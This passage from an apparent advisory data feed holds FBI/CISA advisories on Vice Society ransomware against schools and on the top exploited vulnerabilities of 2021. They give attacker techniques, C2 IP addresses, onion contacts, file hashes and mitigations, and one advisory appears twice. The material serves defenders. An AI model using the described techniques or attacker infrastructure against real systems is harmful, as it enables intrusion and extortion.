over internal networks, especially by restricting RDP and using virtual desktop infrastructure. If RDP is deemed operationally necessary, restrict the originating sources and require MFA to mitigate credential theft and reuse. If RDP must be available externally, use a VPN, virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices. Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts to block brute force campaigns, log RDP login attempts, and disable unused remote access/RDP ports.\n\n**Vulnerability and Configuration Management**\n\n * **Keep all operating systems, software, and firmware up to date.** Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Organizations should prioritize patching of vulnerabilities on CISA\u2019s Known Exploited Vulnerabilities catalog.\n * **Disable unused** **ports.**\n * **Consider adding an email banner to emails** received from outside your organization.\n * **Disable hyperlinks** in received emails.\n * **Disable command-line and scripting activities and permissions.** Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally.\n * **Ensure devices are properly configured and that security features are enabled.**\n * **Disable ports and protocols that are not being used** for a business purpose (e.g., RDP Transmission Control Protocol Port 3389).\n * **Restrict Server Message Block (SMB) Protocol within the network to only access servers that are necessary, and remove or disable outdated versions of SMB** (i.e., SMB version 1). Threat actors use SMB to propagate malware across organizations.\n\n### REFERENCES\n\n * [Stopransomware.gov](<https://www.cisa.gov/stopransomware>) is a whole-of-government approach that gives one central location for ransomware resources and alerts.\n * Resource to mitigate a ransomware attack: CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide.\n * No-cost cyber hygiene services: Cyber Hygiene Services and [Ransomware Readiness Assessment](<https://github.com/cisagov/cset/>).\n\n### REPORTING\n\nThe FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with Vice Society actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.\n\nThe FBI, CISA, and the MS-ISAC strongly discourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to a [local FBI Field Office](<https://www.fbi.gov/contact-us/field-offices>), or to CISA at [report@cisa.gov](<mailto:report@cisa.gov>) or (888) 282-0870. SLTT government entities can also report to the MS-ISAC ([SOC@cisecurity.org](<mailto:SOC@cisecurity.org>) or 866-787-4722).\n\n### DISCLAIMER\n\nThe information in this report is being provided \u201cas is\u201d for informational purposes only. The FBI, CISA, and the MS-ISAC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the FBI, CISA, or the MS-ISAC.\n\n### Revisions\n\nSeptember 6, 2022: Initial Version\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-09-08T12:00:00", "type": "ics", "title": "#StopRansomware: Vice Society", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2022-09-08T12:00:00", "id": "AA22-249A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-249a", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T18:25:21", "description": "### Summary\n\nActions to take today to mitigate cyber threats from ransomware:\n\n\u2022 Prioritize and remediate [known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>). \n\u2022 Train users to recognize and report phishing attempts. \n\u2022 Enable and enforce multifactor authentication.\n\n_**Note:** This joint Cybersecurity Advisory (CSA) is part of an ongoing [#StopRansomware](<https://www.cisa.gov/stopransomware/stopransomware>) effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources._\n\nThe Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) are releasing this joint CSA to disseminate IOCs and TTPs associated with Vice Society actors identified through FBI investigations as recently as September 2022. The FBI, CISA, and the MS-ISAC have recently observed Vice Society actors disproportionately targeting the education sector with ransomware attacks.\n\nOver the past several years, the education sector, especially kindergarten through twelfth grade (K-12) institutions, have been a frequent target of ransomware attacks. Impacts from these attacks have ranged from restricted access to networks and data, delayed exams, canceled school days, and unauthorized access to and theft of personal information regarding students and staff. The FBI, CISA, and the MS-ISAC anticipate attacks may increase as the 2022/2023 school year begins and criminal ransomware groups perceive opportunities for successful attacks. School districts with limited cybersecurity capabilities and constrained resources are often the most vulnerable; however, the opportunistic targeting often seen with cyber criminals can still put school districts with robust cybersecurity programs at risk. K-12 institutions may be seen as particularly lucrative targets due to the amount of [sensitive student data](<https://www.ic3.gov/Media/News/2022/220526.pdf>) accessible through school systems or their managed service providers. \n\nThe FBI, CISA, and the MS-ISAC encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents.\n\nDownload the PDF version of this report: pdf, 521 KB\n\nDownload the IOCs: .stix 31 kb\n\n### Technical Details\n\n**Note:** This advisory uses the MITRE ATT&amp;CK\u00ae for Enterprise framework, version 11. See [MITRE ATT&amp;CK for Enterprise](<https://attack.mitre.org/versions/v11/matrices/enterprise/>) for all referenced tactics and techniques.\n\nVice Society is an intrusion, exfiltration, and extortion hacking group that first appeared in summer 2021. Vice Society actors do not use a ransomware variant of unique origin. Instead, the actors have deployed versions of [Hello Kitty/Five Hands](<https://www.cisa.gov/sites/default/files/publications/FLASH_CU_000154_MW_508c.pdf>) and [Zeppelin ransomware](<https://www.cisa.gov/uscert/ncas/alerts/aa22-223a>), but may deploy other variants in the future.\n\nVice Society actors likely obtain initial network access through compromised credentials by exploiting internet-facing applications [[T1190](<https://attack.mitre.org/versions/v11/techniques/T1190/>)]. Prior to deploying ransomware, the actors spend time exploring the network, identifying opportunities to increase accesses, and exfiltrating data [[TA0010](<https://attack.mitre.org/versions/v11/tactics/TA0010/>)] for double extortion--a tactic whereby actors threaten to publicly release sensitive data unless a victim pays a ransom. Vice Society actors have been observed using a variety of tools, including SystemBC, PowerShell Empire, and Cobalt Strike to move laterally. They have also used \u201cliving off the land\u201d techniques targeting the legitimate Windows Management Instrumentation (WMI) service [[T1047](<https://attack.mitre.org/versions/v11/techniques/T1047/>)] and tainting shared content [[T1080](<https://attack.mitre.org/versions/v11/techniques/T1080/>)]. \n\nVice Society actors have been observed exploiting the PrintNightmare vulnerability ([CVE-2021-1675](<https://nvd.nist.gov/vuln/detail/CVE-2021-1675>) and [CVE-2021-34527](<https://nvd.nist.gov/vuln/detail/CVE-2021-34527>) ) to escalate privileges [[T1068](<https://attack.mitre.org/versions/v11/techniques/T1068/>)]. To maintain persistence, the criminal actors have been observed leveraging scheduled tasks [[T1053](<https://attack.mitre.org/versions/v11/techniques/T1053/>)], creating undocumented autostart Registry keys [[T1547.001](<https://attack.mitre.org/techniques/T1547/001/>)], and pointing legitimate services to their custom malicious dynamic link libraries (DLLs) through a tactic known as DLL side-loading [[T1574.002](<https://attack.mitre.org/versions/v11/techniques/T1547/002/>)]. Vice Society actors attempt to evade detection through masquerading their malware and tools as legitimate files [[T1036](<https://attack.mitre.org/versions/v11/techniques/T1036/>)], using process injection [[T1055](<https://attack.mitre.org/versions/v11/techniques/T1055/>)], and likely use evasion techniques to defeat automated dynamic analysis [[T1497](<https://attack.mitre.org/versions/v11/techniques/T1497/>)]. Vice Society actors have been observed escalating privileges, then gaining access to domain administrator accounts, and running scripts to change the passwords of victims\u2019 network accounts to prevent the victim from remediating. \n\n### Indicators of Compromise (IOCs)\n\nEmail Addresses \n \n--- \n \nv-society.official@onionmail[.]org \n \nViceSociety@onionmail[.]org \n \nOnionMail email accounts in the format of [First Name][Last Name]@onionmail[.]org \n \nTOR Address \n \n--- \n \nhttp://vsociethok6sbprvevl4dlwbqrzyhxcxaqpvcqt5belwvsuxaxsutyad[.]onion \n \nIP Addresses for C2\n\n| \n\nConfidence Level \n \n---|--- \n \n5.255.99[.]59\n\n| \n\nHigh Confidence \n \n5.161.136[.]176\n\n| \n\nMedium Confidence \n \n198.252.98[.]184\n\n| \n\nMedium Confidence \n \n194.34.246[.]90\n\n| \n\nLow Confidence \n \nSee Table 1 for file hashes obtained from FBI incident response investigations in September 2022.\n\n_Table 1: File Hashes as of September 2022_\n\nMD5\n\n| \n\nSHA1 \n \n---|--- \n \nfb91e471cfa246beb9618e1689f1ae1d\n\n| \n\na0ee0761602470e24bcea5f403e8d1e8bfa29832 \n \n| \n\n3122ea585623531df2e860e7d0df0f25cce39b21 \n \n| \n\n41dc0ba220f30c70aea019de214eccd650bc6f37 \n \n| \n\nc9c2b6a5b930392b98f132f5395d54947391cb79 \n \n### MITRE ATT&amp;CK TECHNIQUES\n\nVice Society actors have used ATT&amp;CK techniques, similar to Zeppelin techniques, listed in Table 2.\n\n_Table 2: Vice Society Actors ATT&amp;CK Techniques for Enterprise_\n\n_Initial Access_ \n \n--- \n \nTechnique Title\n\n| \n\nID\n\n| \n\nUse \n \nExploit Public-Facing Application\n\n| \n\n[T1190](<https://attack.mitre.org/versions/v11/techniques/T1190/>)\n\n| \n\nVice Society actors exploit vulnerabilities in an internet-facing systems to gain access to victims\u2019 networks. \n \nValid Accounts\n\n| \n\n[T1078](<https://attack.mitre.org/versions/v11/techniques/T1078/>)\n\n| \n\nVice Society actors obtain initial network access through compromised valid accounts. \n \n_Execution_ \n \nTechnique Title\n\n| \n\nID\n\n| \n\nUse \n \nWindows Management Instrumentation (WMI)\n\n| \n\n[T1047](<https://attack.mitre.org/versions/v11/techniques/T1047/>)\n\n| \n\nVice Society actors leverage WMI as a means of \u201cliving off the land\u201d to execute malicious commands. WMI is a native Windows administration feature. \n \nScheduled Task/Job\n\n| \n\n[T1053](<https://attack.mitre.org/versions/v11/techniques/T1053/>)\n\n| \n\nVice Society have used malicious files that create component task schedule objects, which are often mean to register a specific task to autostart on system boot. This facilitates recurring execution of their code. \n \n_Persistence_ \n \nTechnique Title\n\n| \n\nID\n\n| \n\nUse \n \nModify System Process\n\n| \n\n[T1543.003](<https://attack.mitre.org/versions/v11/techniques/T1543/003/>)\n\n| \n\nVice Society actors encrypt Windows Operating functions to preserve compromised system functions. \n \nRegistry Run Keys/Startup Folder\n\n| \n\n[T1547.001](<https://attack.mitre.org/versions/v11/techniques/T1547/001/>)\n\n| \n\nVice Society actors have employed malicious files that create an undocumented autostart Registry key to maintain persistence after boot/reboot. \n \nDLL Side-Loading\n\n| \n\n[T1574.002](<https://attack.mitre.org/versions/v11/techniques/T1547/002/>)\n\n| \n\nVice Society actors may directly side-load their payloads by planting their own DLL then invoking a legitimate application that executes the payload within that DLL. This serves as both a persistence mechanism and a means to masquerade actions under legitimate programs. \n \n_Privilege Escalation_ \n \nTechnique Title\n\n| \n\nID\n\n| \n\nUse \n \nExploitation for Privilege Escalation\n\n| \n\n[T1068](<https://attack.mitre.org/versions/v11/techniques/T1068/>)\n\n| \n\nVice Society actors have been observed exploiting PrintNightmare vulnerability ([CVE-2021-1675](<https://nvd.nist.gov/vuln/detail/CVE-2021-1675>) and [CVE-2021-34527](<https://nvd.nist.gov/vuln/detail/CVE-2021-34527>)) to escalate privileges. \n \n_Defense Evasion_ \n \nTechnique Title\n\n| \n\nID\n\n| \n\nUse \n \nMasquerading\n\n| \n\n[T1036](<https://attack.mitre.org/versions/v11/techniques/T1036/>)\n\n| \n\nVice Society actors may attempt to manipulate features of the files they drop in a victim\u2019s environment to mask the files or make the files appear legitimate. \n \nProcess Injection\n\n| \n\n[T1055](<https://attack.mitre.org/versions/v11/techniques/T1055/>)\n\n| \n\nVice Society artifacts have been analyzed to reveal the ability to inject code into legitimate processes for evading process-based defenses. This tactic has other potential impacts, including the ability to escalate privileges or gain additional accesses. \n \nSandbox Evasion\n\n| \n\n[T1497](<https://attack.mitre.org/versions/v11/techniques/T1497/>)\n\n| \n\nVice Society actors may have included sleep techniques in their files to hinder common reverse engineering or dynamic analysis. \n \n_Lateral Movement_ \n \nTechnique Title\n\n| \n\nID\n\n| \n\nUse \n \nTaint Shared Content\n\n| \n\n[T1080](<https://attack.mitre.org/versions/v11/techniques/T1080/>)\n\n| \n\nVice Society actors may deliver payloads to remote systems by adding content to shared storage locations such as network drives. \n \n_Exfiltration_ \n \nTechnique Title\n\n| \n\nID\n\n| \n\nUse \n \nExfiltration\n\n| \n\n[TA0010](<https://attack.mitre.org/versions/v11/tactics/TA0010/>)\n\n| \n\nVice Society actors are known for double extortion, which is a second attempt to force a victim to pay by threatening to expose sensitive information if the victim does not pay a ransom. \n \n_Impact_ \n \nTechnique Title\n\n| \n\nID\n\n| \n\nUse \n \nData Encrypted for Impact\n\n| \n\n[T1486](<https://attack.mitre.org/versions/v11/techniques/T1486/>)\n\n| \n\nVice Society actors have encrypted data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. \n \nAccount Access Removal\n\n| \n\n[T1531](<https://attack.mitre.org/versions/v11/techniques/T1531/>)\n\n| \n\nVice Society actors run a script to change passwords of victims\u2019 email accounts. \n \n### Mitigations\n\nThe FBI and CISA recommend organizations, particularly the education sector, establish and maintain strong liaison relationships with the FBI Field Office in their region and their regional CISA Cybersecurity Advisor. The location and contact information for FBI Field Offices and CISA Regional Offices can be located at [www.fbi.gov/contact-us/field-offices](<http://www.fbi.gov/contact-us/field-offices>) and [www.cisa.gov/cisa-regions](<https://www.cisa.gov/cisa-regions>), respectively. Through these partnerships, the FBI and CISA can assist with identifying vulnerabilities to academia and mitigating potential threat activity. The FBI and CISA further recommend that academic entities review and, if needed, update incident response and communication plans that list actions an organization will take if impacted by a cyber incident.\n\nThe FBI, CISA, and the MS-ISAC recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by Vice Society actors:\n\n**Preparing for Cyber Incidents**\n\n * Maintain offline backups of data, and regularly maintain backup and restoration. By instituting this practice, the organization ensures they will not be severely interrupted, and/or only have irretrievable data. \n * Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization\u2019s data infrastructure. Ensure your backup data is not already infected.\n * Review the security posture of third-party vendors and those interconnected with your organization. Ensure all connections between third-party vendors and outside software or hardware are monitored and reviewed for suspicious activity.\n * Implement listing policies for applications and remote access that only allow systems to execute known and permitted programs under an established security policy.\n * Document and monitor external remote connections. Organizations should document approved solutions for remote management and maintenance, and immediately investigate if an unapproved solution is installed on a workstation.\n * Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud).\n\nIdentity and Access Management\n\n * Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with [National Institute of Standards and Technology (NIST) standards](<https://pages.nist.gov/800-63-3/>) for developing and managing password policies. \n * Use longer passwords consisting of at least 8 characters and no more than 64 characters in length;\n * Store passwords in hashed format using industry-recognized password managers;\n * Add password user \u201csalts\u201d to shared login credentials;\n * Avoid reusing passwords;\n * Implement multiple failed login attempt account lockouts;\n * Disable password \u201chints\u201d;\n * Refrain from requiring password changes more frequently than once per year unless a password is known or suspected to be compromised. \nNote: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password \u201cpatterns\u201d cyber criminals can easily decipher. \n * Require administrator credentials to install software.\n * Require phishing-resistant multifactor authentication for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems. \n * Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts.\n * Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege. \n * Implement time-based access for accounts set at the admin level and higher. For example, the Just-in-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task. \n\nProtective Controls and Architecture\n\n * Segment networks to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between\u2014and access to\u2014various subnetworks and by restricting adversary lateral movement. \n * Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host. \n * Install, regularly update, and enable real time detection for antivirus software on all hosts. \n * Secure and closely monitor remote desktop protocol (RDP) use. \n * Limit access to resources over internal networks, especially by restricting RDP and using virtual desktop infrastructure. If RDP is deemed operationally necessary, restrict the originating sources and require MFA to mitigate credential theft and reuse. If RDP must be available externally, use a VPN, virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices. Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts to block brute force campaigns, log RDP login attempts, and disable unused remote access/RDP ports.\n\nVulnerability and Configuration Management\n\n * Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Organizations should prioritize patching of vulnerabilities on CISA\u2019s [Known Exploited Vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) catalog.\n * Disable unused ports.\n * Consider adding an email banner to emails received from outside your organization.\n * Disable hyperlinks in received emails.\n * Disable command-line and scripting activities and permissions. Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally. \n * Ensure devices are properly configured and that security features are enabled. \n * Disable ports and protocols that are not being used for a business purpose (e.g., RDP Transmission Control Protocol Port 3389).\n * Restrict Server Message Block (SMB) Protocol within the network to only access servers that are necessary, and remove or disable outdated versions of SMB (i.e., SMB version 1). Threat actors use SMB to propagate malware across organizations.\n\n### REFERENCES\n\n * [Stopransomware.gov](<https://www.cisa.gov/stopransomware>) is a whole-of-government approach that gives one central location for ransomware resources and alerts.\n * Resource to mitigate a ransomware attack: [CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide](<https://www.cisa.gov/sites/default/files/publications/CISA_MS-ISAC_Ransomware Guide_S508C.pdf>).\n * No-cost cyber hygiene services: [Cyber Hygiene Services](<https://www.cisa.gov/cyber-hygiene-services>) and [Ransomware Readiness Assessment](<https://github.com/cisagov/cset/>).\n\n### REPORTING\n\nThe FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with Vice Society actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file. \n\nThe FBI, CISA, and the MS-ISAC strongly discourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to a [local FBI Field Office](<https://www.fbi.gov/contact-us/field-offices>), or to CISA at [report@cisa.gov](<mailto:report@cisa.gov>) or (888) 282-0870. SLTT government entities can also report to the MS-ISAC ([SOC@cisecurity.org](<mailto:SOC@cisecurity.org>) or 866-787-4722).\n\n### DISCLAIMER\n\nThe information in this report is being provided \u201cas is\u201d for informational purposes only. The FBI, CISA, and the MS-ISAC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the FBI, CISA, or the MS-ISAC.\n\n### Revisions\n\nSeptember 6, 2022: Initial Version\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-09-08T12:00:00", "type": "ics", "title": "#StopRansomware: Vice Society", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2022-09-08T12:00:00", "id": "AA22-249A-0", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-249a-0", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T18:27:11", "description": "### Summary\n\nThis joint Cybersecurity Advisory (CSA) was coauthored by cybersecurity authorities of the United States, Australia, Canada, New Zealand, and the United Kingdom: the Cybersecurity and Infrastructure Security Agency ([CISA](<https://www.cisa.gov/>)), National Security Agency ([NSA](<https://www.nsa.gov/Cybersecurity/>)), Federal Bureau of Investigation ([FBI](<https://www.fbi.gov/investigate/cyber>)), Australian Cyber Security Centre ([ACSC](<https://www.cyber.gov.au/>)), Canadian Centre for Cyber Security ([CCCS](<https://www.cyber.gc.ca/en/>)), New Zealand National Cyber Security Centre ([NZ NCSC](<https://www.gcsb.govt.nz/>)), and United Kingdom\u2019s National Cyber Security Centre ([NCSC-UK](<https://www.ncsc.gov.uk/>)). This advisory provides details on the top 15 Common Vulnerabilities and Exposures (CVEs) routinely exploited by malicious cyber actors in 2021, as well as other CVEs frequently exploited.\n\nU.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities assess, in 2021, malicious cyber actors aggressively targeted newly disclosed critical software vulnerabilities against broad target sets, including public and private sector organizations worldwide. To a lesser extent, malicious cyber actors continued to exploit publicly known, dated software vulnerabilities across a broad spectrum of targets. \n\nThe cybersecurity authorities encourage organizations to apply the recommendations in the Mitigations section of this CSA. These mitigations include applying timely patches to systems and implementing a centralized patch management system to reduce the risk of compromise by malicious cyber actors.\n\nDownload the Joint Cybersecurity Advisory: 2021 top Routinely Exploited Vulnerabilities (pdf, 777kb).\n\n### Technical Details\n\n#### **Key Findings**\n\nGlobally, in 2021, malicious cyber actors targeted internet-facing systems, such as email servers and virtual private network (VPN) servers, with exploits of newly disclosed vulnerabilities. For most of the top exploited vulnerabilities, researchers or other actors released proof of concept (POC) code within two weeks of the vulnerability\u2019s disclosure, likely facilitating exploitation by a broader range of malicious actors.\n\nTo a lesser extent, malicious cyber actors continued to exploit publicly known, dated software vulnerabilities\u2014some of which were also [routinely exploited in 2020](<https://www.cisa.gov/uscert/ncas/alerts/aa21-209a>) or earlier. The exploitation of older vulnerabilities demonstrates the continued risk to organizations that fail to patch software in a timely manner or are using software that is no longer supported by a vendor.\n\n#### **Top 15 Routinely Exploited Vulnerabilities**\n\nTable 1 shows the top 15 vulnerabilities U.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities observed malicious actors routinely exploiting in 2021, which include:\n\n * **CVE-2021-44228.** This vulnerability, known as Log4Shell, affects Apache\u2019s Log4j library, an open-source logging framework. An actor can exploit this vulnerability by submitting a specially crafted request to a vulnerable system that causes that system to execute arbitrary code. The request allows a cyber actor to take full control over the system. The actor can then steal information, launch ransomware, or conduct other malicious activity.[1] Log4j is incorporated into thousands of products worldwide. This vulnerability was disclosed in December 2021; the rapid widespread exploitation of this vulnerability demonstrates the ability of malicious actors to quickly weaponize known vulnerabilities and target organizations before they patch.\n * **CVE-2021-26855, CVE-2021-26858, CVE-2021-26857, CVE-2021-27065.** These vulnerabilities, known as ProxyLogon, affect Microsoft Exchange email servers. Successful exploitation of these vulnerabilities in combination (i.e., \u201cvulnerability chaining\u201d) allows an unauthenticated cyber actor to execute arbitrary code on vulnerable Exchange Servers, which, in turn, enables the actor to gain persistent access to files and mailboxes on the servers, as well as to credentials stored on the servers. Successful exploitation may additionally enable the cyber actor to compromise trust and identity in a vulnerable network.\n * **CVE-2021-34523, CVE-2021-34473, CVE-2021-31207.** These vulnerabilities, known as ProxyShell, also affect Microsoft Exchange email servers. Successful exploitation of these vulnerabilities in combination enables a remote actor to execute arbitrary code. These vulnerabilities reside within the Microsoft Client Access Service (CAS), which typically runs on port 443 in Microsoft Internet Information Services (IIS) (e.g., Microsoft\u2019s web server). CAS is commonly exposed to the internet to enable users to access their email via mobile devices and web browsers. \n * **CVE-2021-26084.** This vulnerability, affecting Atlassian Confluence Server and Data Center, could enable an unauthenticated actor to execute arbitrary code on vulnerable systems. This vulnerability quickly became one of the most routinely exploited vulnerabilities after a POC was released within a week of its disclosure. Attempted mass exploitation of this vulnerability was observed in September 2021.\n\nThree of the top 15 routinely exploited vulnerabilities were also [routinely exploited in 2020](<https://www.cisa.gov/uscert/ncas/alerts/aa21-209a>): CVE-2020-1472, CVE-2018-13379, and CVE-2019-11510. Their continued exploitation indicates that many organizations fail to patch software in a timely manner and remain vulnerable to malicious cyber actors.\n\n_Table 1: Top 15 Routinely Exploited Vulnerabilities in 2021_\n\nCVE\n\n| \n\nVulnerability Name\n\n| \n\nVendor and Product\n\n| \n\nType \n \n---|---|---|--- \n \n[CVE-2021-44228](<https://nvd.nist.gov/vuln/detail/CVE-2021-44228>)\n\n| \n\nLog4Shell\n\n| \n\nApache Log4j\n\n| \n\nRemote code execution (RCE) \n \n[CVE-2021-40539](<https://nvd.nist.gov/vuln/detail/CVE-2021-40539>)\n\n| \n\n| \n\nZoho ManageEngine AD SelfService Plus\n\n| \n\nRCE \n \n[CVE-2021-34523](<https://nvd.nist.gov/vuln/detail/CVE-2021-34523>)\n\n| \n\nProxyShell\n\n| \n\nMicrosoft Exchange Server\n\n| \n\nElevation of privilege \n \n[CVE-2021-34473](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473>)\n\n| \n\nProxyShell\n\n| \n\nMicrosoft Exchange Server\n\n| \n\nRCE \n \n[CVE-2021-31207](<https://nvd.nist.gov/vuln/detail/CVE-2021-31207>)\n\n| \n\nProxyShell\n\n| \n\nMicrosoft Exchange Server\n\n| \n\nSecurity feature bypass \n \n[CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>)\n\n| \n\nProxyLogon\n\n| \n\nMicrosoft Exchange Server\n\n| \n\nRCE \n \n[CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>)\n\n| \n\nProxyLogon\n\n| \n\nMicrosoft Exchange Server\n\n| \n\nRCE \n \n[CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>)\n\n| \n\nProxyLogon\n\n| \n\nMicrosoft Exchange Server\n\n| \n\nRCE \n \n[CVE-2021-26855](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>)\n\n| \n\nProxyLogon\n\n| \n\nMicrosoft Exchange Server\n\n| \n\nRCE \n \n[CVE-2021-26084](<https://nvd.nist.gov/vuln/detail/CVE-2021-26084>)\n\n| \n\n| \n\nAtlassian Confluence Server and Data Center\n\n| \n\nArbitrary code execution \n \n[CVE-2021-21972](<https://nvd.nist.gov/vuln/detail/CVE-2021-21972>)\n\n| \n\n| \n\nVMware vSphere Client\n\n| \n\nRCE \n \n[CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>)\n\n| \n\nZeroLogon\n\n| \n\nMicrosoft Netlogon Remote Protocol (MS-NRPC)\n\n| \n\nElevation of privilege \n \n[CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>)\n\n| \n\n| \n\nMicrosoft Exchange Server\n\n| \n\nRCE \n \n[CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)\n\n| \n\n| \n\nPulse Secure Pulse Connect Secure\n\n| \n\nArbitrary file reading \n \n[CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>)\n\n| \n\n| \n\nFortinet FortiOS and FortiProxy\n\n| \n\nPath traversal \n \n#### **Additional Routinely Exploited Vulnerabilities**\n\nIn addition to the 15 vulnerabilities listed in table 1, U.S., Australian, Canadian, New Zealand, and UK cybersecurity authorities identified vulnerabilities, listed in table 2, that were also routinely exploited by malicious cyber actors in 2021. \n\nThese vulnerabilities include multiple vulnerabilities affecting internet-facing systems, including Accellion File Transfer Appliance (FTA), 